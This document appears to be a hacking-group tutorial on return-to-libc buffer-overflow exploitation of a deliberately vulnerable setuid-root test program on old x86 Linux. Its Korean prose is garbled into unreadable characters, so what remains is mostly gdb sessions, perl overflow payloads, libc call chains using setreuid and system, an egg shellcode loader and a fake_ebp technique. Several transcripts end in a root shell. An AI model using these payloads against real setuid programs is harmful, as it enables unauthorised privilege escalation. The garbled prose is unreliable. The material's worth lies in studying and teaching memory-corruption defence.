Ȧ :: Return-to-Lib ϱ. :: - w0rm9 in research.hackerschool.org w0rm9@hanmail.net Ʀ 0x00. 0x01. ް 0x02. Return-to-Lib ⺻ 0x03. ڵ BOF ذϱ 0x04. RTL ڵ 0x05. fake_ebp...? 0x06. ġ.. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x00. 㦢 ο ƴ, ϳϳ ǽ üϸ鼭 ۼ Դϴ. ط ߸ ϰ ְų, ߸ ٶϴ. Return-to-Lib ֽϴ. Ī մϴ. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x01. ް ް ڵ尡 ̰ų ڵ带 ȯ濡 BOF ȹ ִ ݹ ϳ̴. α׷ Ǵ ޸𸮱 ȿ ȯ溯, ý Լ  Եǰ ȴ. system() ġ ãƼ ̿ϴ° ް ٽ̿. Ŀι Ǹ鼭 setreuid ڵ尡 ʰ, ڽ Ǿ. ؼ ˾ƺ. [root@RealSkulls WGD]# cat test.c #include "dumpcode.h" int main(int argc, char *argv[]) { char string[4]; strcpy(string, argv[1]); dumpcode(string, 100); } [root@RealSkulls WGD]# gcc -o test test.c [root@RealSkulls WGD]# chmod 4755 test ڼ ޸ ڵ߰^^; 츮 ˰ ִ ް ذ . [w0rm9@RealSkulls WGD]$ gdb -q ./test (gdb) b main Breakpoint 1 at 0x8048598 (gdb) r Starting program: /rs_members/w0rm9/tmp/WGD/test Breakpoint 1, 0x08048598 in main () (gdb) x/x system 0x4005e430 : 0x83e58955 (gdb) q /bin/sh ּҴ α׷ ۼϿ ã ִ. [w0rm9@RealSkulls WGD]$ cat find.c int main(int argc, char **argv) { long shell; shell = 0x4005e430; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); } [w0rm9@RealSkulls WGD]$ gcc -o find find.c [w0rm9@RealSkulls WGD]$ ./find "/bin/sh" is at 0x40149d24 ý Լ ּ : 0x4005e430 /bin/sh ּ : 0x40149d24 ~ [w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x30\xe4\x05\x40\x41\x41\x41\x41\x24\x9d\x14\x40"' 0xbffffaa4 41 41 41 41 41 41 41 41 30 e4 05 40 41 41 41 41 AAAAAAAA0..@AAAA 0xbffffab4 24 9d 14 40 00 fb ff bf 2c 58 01 40 02 00 00 00 $..@....,X.@.... 0xbffffac4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffffad4 02 00 00 00 f4 fa ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffae4 60 c6 00 40 ec fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffaf4 ef fb ff bf f6 fb ff bf 00 00 00 00 0b fc ff bf ................ 0xbffffb04 23 fc ff bf #... sh-2.05b$ id uid=5013(w0rm9) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel) ȶ. ߴ. ڵ忡 setreuid ߰ ó ް setreuid ߰ ? 0x02 ˾ƺ. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x02. Return-to-Lib ⺻ ҽ Լ ȣ  Ǵ ˾ƺ. [root@RealSkulls WGD]# cat test2.c #include "dumpcode.h" void func1(){ printf("First WGD\n"); } void func2(){ printf("I am w0rm9\n"); } void func3(){ printf("WiseGuys\n"); } void func4(){ printf("Research Group\n"); } int main(int argc, char* argv[]){ char buf[4]; strcpy(buf, argv[1]); dumpcode(buf, 100); printf("buf: %s\n", buf); } [root@RealSkulls WGD]# gcc -o test2 test2.c gdb Լ ȣǴ ּҸ ˾ƺ. [root@RealSkulls WGD]# gdb -q test2 (gdb) disass func1 Dump of assembler code for function func1: 0x08048592 : push %ebp 0x08048593 : mov %esp,%ebp 0x08048595 : sub $0x8,%esp 0x08048598 : sub $0xc,%esp 0x0804859b : push $0x8048707 0x080485a0 : call 0x80482c4 0x080485a5 : add $0x10,%esp 0x080485a8 : leave 0x080485a9 : ret End of assembler dump. (gdb) disass func2 Dump of assembler code for function func2: 0x080485aa : push %ebp 0x080485ab : mov %esp,%ebp 0x080485ad : sub $0x8,%esp 0x080485b0 : sub $0xc,%esp 0x080485b3 : push $0x8048712 0x080485b8 : call 0x80482c4 0x080485bd : add $0x10,%esp 0x080485c0 : leave 0x080485c1 : ret End of assembler dump. (gdb) disass func3 Dump of assembler code for function func3: 0x080485c2 : push %ebp 0x080485c3 : mov %esp,%ebp 0x080485c5 : sub $0x8,%esp 0x080485c8 : sub $0xc,%esp 0x080485cb : push $0x804871e 0x080485d0 : call 0x80482c4 0x080485d5 : add $0x10,%esp 0x080485d8 : leave 0x080485d9 : ret End of assembler dump. (gdb) disass func4 Dump of assembler code for function func4: 0x080485da : push %ebp 0x080485db : mov %esp,%ebp 0x080485dd : sub $0x8,%esp 0x080485e0 : sub $0xc,%esp 0x080485e3 : push $0x8048728 0x080485e8 : call 0x80482c4 0x080485ed : add $0x10,%esp 0x080485f0 : leave 0x080485f1 : ret End of assembler dump. (gdb) Լ ȣּҸ غ . func1 : 0x08048592 func2 : 0x080485aa func3 : 0x080485c2 func4 : 0x080485da Լ ڰ ʴ RET Ͽ Լ ּҸ ȣϸ..? [root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\x92\x85\x04\x08\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08"'` 0xbffffa74 41 41 41 41 41 41 41 41 92 85 04 08 aa 85 04 08 AAAAAAAA........ 0xbffffa84 c2 85 04 08 da 85 04 08 00 58 01 40 02 00 00 00 .........X.@.... 0xbffffa94 e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08 ................ 0xbffffaa4 02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08 ........@...p... 0xbffffab4 60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffac4 cb fb ff bf d3 fb ff bf 00 00 00 00 ec fb ff bf ................ 0xbffffad4 04 fc ff bf .... buf: AAAAAAAA? First WGD I am w0rm9 WiseGuys Research Group ׸̼ º Լ ȣǾ. װ ϰ ϱ ؼ exit ߰״. [root@RealSkulls WGD]# gdb -q test2 (gdb) b main Breakpoint 1 at 0x80485f8 (gdb) r Starting program: /rs_members/w0rm9/tmp/WGD/test2 Breakpoint 1, 0x080485f8 in main () (gdb) x/x exit 0x400478d0 : 0x57e58955 (gdb) q The program is running. Exit anyway? (y or n) y [root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\x92\x85\x04\x08\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08\xd0\x78\x04\x40"'` 0xbffffa74 41 41 41 41 41 41 41 41 92 85 04 08 aa 85 04 08 AAAAAAAA........ 0xbffffa84 c2 85 04 08 da 85 04 08 d0 78 04 40 00 00 00 00 .........x.@.... 0xbffffa94 e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08 ................ 0xbffffaa4 02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08 ........@...p... 0xbffffab4 60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffac4 c7 fb ff bf cf fb ff bf 00 00 00 00 ec fb ff bf ................ 0xbffffad4 04 fc ff bf .... buf: AAAAAAAA?@ First WGD I am w0rm9 WiseGuys Research Group ϰ Ǿ. Լ ȣ ٲ㺸. [root@RealSkulls WGD]# ./test2 `perl -e 'print "AAAAAAAA\xaa\x85\x04\x08\xc2\x85\x04\x08\xda\x85\x04\x08\x92\x85\x04\x08\xd0\x78\x04\x40"'` 0xbffffa74 41 41 41 41 41 41 41 41 aa 85 04 08 c2 85 04 08 AAAAAAAA........ 0xbffffa84 da 85 04 08 92 85 04 08 d0 78 04 40 00 00 00 00 .........x.@.... 0xbffffa94 e4 82 04 08 00 00 00 00 05 83 04 08 f2 85 04 08 ................ 0xbffffaa4 02 00 00 00 c4 fa ff bf 40 86 04 08 70 86 04 08 ........@...p... 0xbffffab4 60 c6 00 40 bc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffac4 c7 fb ff bf cf fb ff bf 00 00 00 00 ec fb ff bf ................ 0xbffffad4 04 fc ff bf .... buf: AAAAAAAA??@ I am w0rm9 WiseGuys Research Group First WGD Լ ȣ Ͽ ȴٴ° ִ. ̹ ڰ ϴ Լ  ȣϰ Ű  ־ִ ˾ƺ. [root@RealSkulls WGD]# cat test3.c #include "dumpcode.h" void func1(int num){ printf("w0rm9 wiseguys %d.\n", num); } void func2(int num){ printf("z0nKT1g3r wiseguys %d.\n", num); } int main(int argc, char* argv[]){ char buf[4]; fgets(buf, 100, stdin); dumpcode(buf, 100); printf("buf: %s\n", buf); } [root@RealSkulls WGD]# gcc -o test3 test3.c w0rm9 2̰, ũ 1̴ϱ func1 Ű 2 ;ߵǰ, func2 Ű 1 ;ߵȴ. ? ʿ䰡 . 츮 ̹ ˰ִ. ް RET systemּҸ 4Ʈ ڿ systemԼ Ű Ǵ /bin/sh ־. ̹ func1 4Ʈ ڿ 2(0x00000002) ְ, func2 4Ʈ ڿ 1(0x00000001) ־. gdb Լ ּҰ ˾ƺ. [w0rm9@RealSkulls WGD]$ gdb -q test3 (gdb) disas func1 Dump of assembler code for function func1: 0x080485b2 : push %ebp 0x080485b3 : mov %esp,%ebp 0x080485b5 : sub $0x8,%esp 0x080485b8 : sub $0x8,%esp 0x080485bb : pushl 0x8(%ebp) 0x080485be : push $0x80486ff 0x080485c3 : call 0x80482f4 0x080485c8 : add $0x10,%esp 0x080485cb : leave 0x080485cc : ret End of assembler dump. (gdb) disas func2 Dump of assembler code for function func2: 0x080485cd : push %ebp 0x080485ce : mov %esp,%ebp 0x080485d0 : sub $0x8,%esp 0x080485d3 : sub $0x8,%esp 0x080485d6 : pushl 0x8(%ebp) 0x080485d9 : push $0x8048719 0x080485de : call 0x80482f4 0x080485e3 : add $0x10,%esp 0x080485e6 : leave 0x080485e7 : ret End of assembler dump. func1 : 0x080485b2 func2 : 0x080485cd [w0rm9@RealSkulls WGD]$ (printf "AAAAAAAA\xb2\x85\x04\x08\xcd\x85\x04\x08\x02\x00\x00\x00\x01\x00\x00\x00";cat)|./test3 0xbffff1d4 41 41 41 41 41 41 41 41 b2 85 04 08 cd 85 04 08 AAAAAAAA........ 0xbffff1e4 02 00 00 00 01 00 00 00 0a 00 01 40 01 00 00 00 ...........@.... 0xbffff1f4 04 83 04 08 00 00 00 00 25 83 04 08 e8 85 04 08 ........%....... 0xbffff204 01 00 00 00 24 f2 ff bf 38 86 04 08 68 86 04 08 ....$...8...h... 0xbffff214 60 c6 00 40 1c f2 ff bf 00 00 00 00 01 00 00 00 `..@............ 0xbffff224 24 f3 ff bf 00 00 00 00 2c f3 ff bf 44 f3 ff bf $.......,...D... 0xbffff234 4f f3 ff bf O... buf: AAAAAAAA? w0rm9 wiseguys 2. z0nKT1g3r wiseguys 1. ׸̼ ذƴ. ̷ Ű ִٸ BOF ϴ. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x03. ڵ BOF ذϱ⦢ ذ ߴ bof ذغ. RET setreuid ؼ streuid ּҸ ˾ƳѴ. [root@RealSkulls WGD]# cat test.c #include "dumpcode.h" int main(int argc, char *argv[]) { char string[4]; strcpy(string, argv[1]); dumpcode(string, 100); } [w0rm9@RealSkulls WGD]$ ls -al test -rwsr-xr-x 1 root root 12325 1 4 15:09 test root s ɷ, Ű 0 ǰڴ. [w0rm9@RealSkulls WGD]$ gdb -q test (gdb) b main Breakpoint 1 at 0x8048598 (gdb) r Starting program: /rs_members/w0rm9/tmp/WGD/test Breakpoint 1, 0x08048598 in main () (gdb) x/x setreuid 0x400f8cc0 : 0x83e58955 ٽ غ system() /bin/sh DZ setreuid() Ǿ, setreuid Űܺ root . , RET system ° ƴ϶ setreuid Լ ȣ system ϰ, Ű Լ 4Ʈ ڿ ־ָ ǰڴ. [buf(4)][ebp(4)][ret(4)] ̷ [buf(4)][ebp(4)][setreuid(4)][system(4)][0x00000000(4)][/bin/sh addr(4)] ̷ ָ ǰڴ. setcpy Լ ⶧ ΰ Ѵ. Ƿ 0x01010101 ־ֵ ϰڴ. system : 0x4005e430 /bin/sh : 0x40149d24 setreuid : 0x400f8cc0 [w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\xc0\x8c\x0f\x40\x30\xe4\x05\x40\x01\x01\x01\x01\x24\x9d\x14\x40"' 0xbffffaa4 41 41 41 41 41 41 41 41 c0 8c 0f 40 30 e4 05 40 AAAAAAAA...@0..@ 0xbffffab4 01 01 01 01 24 9d 14 40 00 58 01 40 02 00 00 00 ....$..@.X.@.... 0xbffffac4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffffad4 02 00 00 00 f4 fa ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffae4 60 c6 00 40 ec fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffaf4 eb fb ff bf f2 fb ff bf 00 00 00 00 0b fc ff bf ................ 0xbffffb04 23 fc ff bf #... sh-2.05b$ id uid=16843009 gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel) . uid=16843009̴. ̴ 16843009(Dec) == 01010101(Hex)̱ ̴. ذ ϱ? BOF Ű ٸ Լ(scanf, fgets..) ׽Ʈغ ذǾ. ׷ٸ strcpy uid=0 ٲٴ° Ұ ΰ.? ٽ ѹ 캸 ̹ 0x00000000 ϰ־. [w0rm9@RealSkulls WGD]$ ./test AAAA 0xbffffac4 41 41 41 41 00 fa ff bf 17 29 03 40 02 00 00 00 AAAA.....).@.... 0xbffffad4 14 fb ff bf 20 fb ff bf 2c 58 01 40 02 00 00 00 .... ...,X.@.... 0xbffffae4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffffaf4 02 00 00 00 14 fb ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffb04 60 c6 00 40 0c fb ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffb14 06 fc ff bf 0d fc ff bf 00 00 00 00 12 fc ff bf ................ 0xbffffb24 2a fc ff bf ׷ setreuid Ű ǵ ϸ  ɱ? Լ ϱ printf ּҸ ߴ. [w0rm9@RealSkulls WGD]$ gdb -q test (gdb) b main Breakpoint 1 at 0x8048598 (gdb) r Starting program: /rs_members/w0rm9/tmp/WGD/test Breakpoint 1, 0x08048598 in main () (gdb) x/x system 0x4005e430 : 0x83e58955 (gdb) x/x setreuid 0x400f8cc0 : 0x83e58955 (gdb) x/x printf 0x4006ef80 : 0x83e58955 (gdb) 0x00000000 տ system ְ տ setreuid ְ ۴ printf ä ǰڴ. [w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"' 0xbffffa94 41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40 AAAAAAAA...@...@ 0xbffffaa4 80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40 ...@...@...@...@ 0xbffffab4 30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08 0..@............ 0xbffffac4 02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffad4 60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffae4 dd fb ff bf e4 fb ff bf 00 00 00 00 09 fc ff bf ................ 0xbffffaf4 21 fc ff bf !... sh: line 1: ?USP? command not found ....system Լ ؼ ƴ. ׷ٸ κпٰ /bin/sh ũ ɾ ϴ. PATH 丮 ߰Ű, ޽ err Ƽ ̸ شǴ κи file ְ ũ . [w0rm9@RealSkulls WGD]$ export PATH=$PATH:./ [w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"' 2> err 0xbffffa94 41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40 AAAAAAAA...@...@ 0xbffffaa4 80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40 ...@...@...@...@ 0xbffffab4 30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08 0..@............ 0xbffffac4 02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffad4 60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffae4 dd fb ff bf e4 fb ff bf 00 00 00 00 09 fc ff bf ................ 0xbffffaf4 21 fc ff bf !... [w0rm9@RealSkulls WGD]$ cat err|awk -F ':' '{print $3}'|awk -F ' ' '{print $1}' > file [w0rm9@RealSkulls WGD]$ ln -s /bin/sh `cat file` ũ ɷȴ Ȯϰ, ٽ غ. [w0rm9@RealSkulls WGD]$ ls -al հ 56 lrwxrwxrwx 1 w0rm9 w0rm9 7 1 7 19:01 ???U??SP? -> /bin/sh <===== ũǾ drwxrwxr-x 2 w0rm9 w0rm9 4096 1 7 19:07 . drwx------ 7 w0rm9 w0rm9 4096 1 4 17:39 .. -rw-r--r-- 1 root root 582 6 6 2001 dumpcode.h -rw-rw-r-- 1 w0rm9 w0rm9 41 1 7 18:59 err -rw-rw-r-- 1 w0rm9 w0rm9 10 1 7 19:07 file -rw-r--r-- 1 root root 191 1 4 17:38 findsh.c -rw-rw-r-- 1 w0rm9 w0rm9 41 1 5 14:16 out -rwsr-xr-x 1 root root 12325 1 4 19:01 test -rw-r--r-- 1 root root 142 1 4 19:01 test.c -rw-r--r-- 1 root root 332 1 4 17:38 test2.c -rw-r--r-- 1 root root 162 1 4 17:38 test4.c [w0rm9@RealSkulls WGD]$ perl -e 'system"./test","AAAAAAAA\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\x80\xef\x06\x40\xc0\x8c\x0f\x40\x30\xe4\x05\x40"' 0xbffffa94 41 41 41 41 41 41 41 41 80 ef 06 40 80 ef 06 40 AAAAAAAA...@...@ 0xbffffaa4 80 ef 06 40 80 ef 06 40 80 ef 06 40 c0 8c 0f 40 ...@...@...@...@ 0xbffffab4 30 e4 05 40 00 00 00 00 05 83 04 08 92 85 04 08 0..@............ 0xbffffac4 02 00 00 00 e4 fa ff bf cc 85 04 08 fc 85 04 08 ................ 0xbffffad4 60 c6 00 40 dc fa ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffffae4 db fb ff bf e2 fb ff bf 00 00 00 00 07 fc ff bf ................ 0xbffffaf4 1f fc ff bf .... [root@RealSkulls WGD]# id uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel) root ƴ. -_-/ աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x04. RTL ڵ RTL ڵ  ݰ η ڵ ̾ƳͿ Ұ ִ. Ӹƴ϶ ش ýۿ ϱ⵵ ϴ. ׷ ڴ ƶ ʴ´. ϴ ˾ƺ. /bin/sh ּ, setreuid ּ, system ּҰ ʿϴ. [w0rm9@RealSkulls WGD]$ gdb -q test (gdb) b main Breakpoint 1 at 0x8048598 (gdb) r Starting program: /rs_members/w0rm9/tmp/WGD/test Breakpoint 1, 0x08048598 in main () (gdb) x/x system 0x4005e430 : 0x83e58955 (gdb) x/x setreuid 0x400f8cc0 : 0x83e58955 (gdb) q The program is running. Exit anyway? (y or n) y [w0rm9@RealSkulls WGD]$ cat findshell.c int main(int argc, char **argv) { long shell; shell = 0x4005e430; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); } [w0rm9@RealSkulls WGD]$ gcc -o findshell findshell.c [w0rm9@RealSkulls WGD]$ ./findshell "/bin/sh" is at 0x40149d24 0x4005e430 0x400f8cc0 غ . ׷ ݽ ÿ  ݴ ش pushָ ǰڴ. [w0rm9@RealSkulls WGD]$ cat shellcode.c int main(){ __asm__(" push $0x40149d24 "/bin/sh addr" xor %eax, %eax "0 (̴ )" push %eax push $0x4005e430 "systmem() addr" push $0x400f8cc0 "setreuid() addr" ret "); } [w0rm9@RealSkulls WGD]$ gcc -o shellcode shellcode.c shellcode.c:2:16: warning: multi-line string literals are deprecated [w0rm9@RealSkulls WGD]$ ls -al shellcode -rwxrwxr-x 1 w0rm9 w0rm9 11444 1 4 17:50 shellcode [w0rm9@RealSkulls WGD]$ objdump -d shellcode ʿ κи غ. 080482f4
: 80482f4: 55 push %ebp 80482f5: 89 e5 mov %esp,%ebp 8048304: 68 24 9d 14 40 push $0x40149d24 8048309: 31 c0 xor %eax,%eax 804830b: 50 push %eax 804830c: 68 30 e4 05 40 push $0x4005e430 8048311: 68 c0 8c 0f 40 push $0x400f8cc0 8048316: c3 ret κ egg ÷ؼ ۵ϴ ˾ƺ. [w0rm9@RealSkulls WGD]$ cat egg.c #include #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 256 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\x68\x24\x9d\x14\x40\x31\xc0\x50\x68\x30\xe4\x05\x40\x68\xc0\x8c\x0f\x40\xc3"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if ( argc > 1 ) bsize = atoi(argv[1]); if ( argc > 2 ) offset = atoi(argv[2]); if ( argc > 3 ) eggsize = atoi(argv[3]); if ( !(buff = malloc(bsize))) { printf("Can't allocate memory for bsize\n"); exit(0); } if ( !(egg = malloc(eggsize))) { printf("Can't allocate memory for eggsize"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *)ptr; for(i = 0; i < bsize; i+= 4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); putenv(egg); memcpy(buff, "RET=", 4); putenv(buff); system("/bin/bash"); } [w0rm9@RealSkulls WGD]$ gcc -o egg egg.c [w0rm9@RealSkulls WGD]$ ./egg Using address: 0xbffffa98 [w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "AAAAAAAA\x98\xfa\xff\xbf"'` 0xbffff1d4 41 41 41 41 41 41 41 41 98 fa ff bf 00 00 00 00 AAAAAAAA........ 0xbffff1e4 24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00 $...0...,X.@.... 0xbffff1f4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffff204 02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08 ....$........... 0xbffff214 60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffff224 18 f3 ff bf 1f f3 ff bf 00 00 00 00 2c f3 ff bf ............,... 0xbffff234 44 f3 ff bf D... sh-2.05b# id uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel) աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x05. fake_ebp...? ˾ƺ fake_ebp̴. ״ ebp ̴ ۾̴. α׷ RET ġ leaveret ebp ġ ȮϿ ret Ѵ. [w0rm9@RealSkulls WGD]$ gdb -q test (gdb) disas main Dump of assembler code for function main: 0x08048592 : push %ebp 0x08048593 : mov %esp,%ebp 0x08048595 : sub $0x8,%esp 0x08048598 : and $0xfffffff0,%esp 0x0804859b : mov $0x0,%eax 0x080485a0 : sub %eax,%esp 0x080485a2 : sub $0x8,%esp 0x080485a5 : mov 0xc(%ebp),%eax 0x080485a8 : add $0x4,%eax 0x080485ab : pushl (%eax) 0x080485ad : lea 0xfffffffc(%ebp),%eax 0x080485b0 : push %eax 0x080485b1 : call 0x80482d4 0x080485b6 : add $0x10,%esp 0x080485b9 : sub $0x8,%esp 0x080485bc : push $0x64 0x080485be : lea 0xfffffffc(%ebp),%eax 0x080485c1 : push %eax 0x080485c2 : call 0x80483dd 0x080485c7 : add $0x10,%esp 0x080485ca : leave <---------------------⼭ ebp ġ ȮϿ ret ϰ ȴ. 0x080485cb : ret End of assembler dump. ebp fake_ebp( ) ְ, ret leaveret ԵǸ fake_ebp ¥ ebp ˰ ret ġ ٲԵȴ. [----------------][ebp][ret] ⼭ ebp ret fake_ebp leaveret ä [----------------][fake_ebp][leaveret] ȴ. ׷ fake_ebp ? ͸ϰų, ް ͸ , ̸ ϱ ִ. test ret ٲ ִٴ°͸ ˾ƺ . egg ۼ ڵ带 ۾Ѵ. [w0rm9@RealSkulls WGD]$ ./egg Using address: 0xbffffa98 [w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "\x98\xfa\xff\xbf\xac\xf1\xff\xbf\xca\x85\x04\x08"'` 0xbffff1d4 98 fa ff bf ac f1 ff bf ca 85 04 08 00 00 00 00 ................ 0xbffff1e4 24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00 $...0...,X.@.... 0xbffff1f4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffff204 02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08 ....$........... 0xbffff214 60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffff224 1a f3 ff bf 21 f3 ff bf 00 00 00 00 2e f3 ff bf ....!........... 0xbffff234 46 f3 ff bf F... ׸̼ [w0rm9@RealSkulls WGD]$ ./test `perl -e 'print "\x98\xfa\xff\xbf\xd0\xf1\xff\xbf\xca\x85\x04\x08"'` 0xbffff1d4 98 fa ff bf d0 f1 ff bf ca 85 04 08 00 00 00 00 ................ 0xbffff1e4 24 f2 ff bf 30 f2 ff bf 2c 58 01 40 02 00 00 00 $...0...,X.@.... 0xbffff1f4 e4 82 04 08 00 00 00 00 05 83 04 08 92 85 04 08 ................ 0xbffff204 02 00 00 00 24 f2 ff bf cc 85 04 08 fc 85 04 08 ....$........... 0xbffff214 60 c6 00 40 1c f2 ff bf 00 00 00 00 02 00 00 00 `..@............ 0xbffff224 1a f3 ff bf 21 f3 ff bf 00 00 00 00 2e f3 ff bf ....!........... 0xbffff234 46 f3 ff bf F... sh-2.05b# id uid=0(root) gid=5013(w0rm9) groups=5013(w0rm9),11(RSRoot),10(wheel) . 4Ʈȿ egg ּҸ ְ, ebp 4Ʈ պκ(0xbffff1d4) ִ´. ׸ ret leaveret ּҸ leaveret Լ ebpġ Ȯ fake_ebp ȮϿ RET ̴. ٷ 0xbffff1d4 RET Ǿȴ. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա 0x06. ġ禢 ϰ www.koreahacker.net ٰ WGD ¥ ٰ 𸣰, ϰ ִٰ ηη 뵵 ϰ ´ Ʋ ǹ, ̷ øڴ β׿. é 3 ذ strcpy BOF 亯 Ź帳ϴ. ׷ ׽Ʈ Ŀ ؼ ÷. ׸ WGD ̸ س, ü Ϻϰ ظ ؾ߰ڳ׿. ƹɷ оּż մϴ. աաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաաա